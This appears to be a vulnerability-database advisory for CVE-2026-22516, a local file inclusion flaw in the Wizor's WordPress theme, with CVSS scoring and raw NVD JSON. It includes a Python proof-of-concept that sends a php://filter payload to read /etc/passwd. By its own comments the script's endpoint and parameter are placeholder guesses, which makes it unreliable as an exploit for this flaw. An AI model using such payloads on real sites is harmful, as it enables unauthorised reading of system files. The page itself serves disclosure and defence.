Security Vulnerability Report
中文
CVE-2026-22516 CVSS 8.1 HIGH

CVE-2026-22516

Published: 2026-03-25 17:16:34
Last Modified: 2026-04-24 16:32:54

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Wizor's wizors-investments allows PHP Local File Inclusion.This issue affects Wizor's: from n/a through <= 2.12.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

AncoraThemes Wizor's <= 2.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2026-22516: Local File Inclusion in Wizor Theme import requests import sys def check_lfi(url): """Check for LFI vulnerability by reading /etc/passwd""" # The vulnerable parameter might vary, assuming 'file' based on common LFI patterns # Replace 'vulnerable_endpoint.php' with the actual path if known target_url = f"{url}/wp-content/themes/wizors-investments/vulnerable_endpoint.php" # Payload using PHP filter to read file content payload = { 'file': 'php://filter/convert.base64-encode/resource=/etc/passwd' } try: response = requests.get(target_url, params=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response snippet:") print(response.text[:200]) # Basic check for base64 encoded passwd structure (root:x:0:0...) if "root:" in response.text or "cm9vdD" in response.text: print("[!] Potential LFI vulnerability detected!") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to server: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <target_url>") print("Example: python poc.py http://localhost") sys.exit(1) check_lfi(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22516", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:34.090", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Wizor's wizors-investments allows PHP Local File Inclusion.This issue affects Wizor's: from n/a through <= 2.12."}, {"lang": "es", "value": "Control inadecuado del nombre de fichero para la declaración include/require en un programa PHP, la vulnerabilidad de 'inclusión remota de ficheros de PHP' en AncoraThemes Wizor's wizors-investments permite la inclusión local de ficheros de PHP. Este problema afecta a Wizor's: desde n/a hasta &lt;= 2.12."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/wizors-investments/vulnerability/wordpress-wizor-s-theme-2-12-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}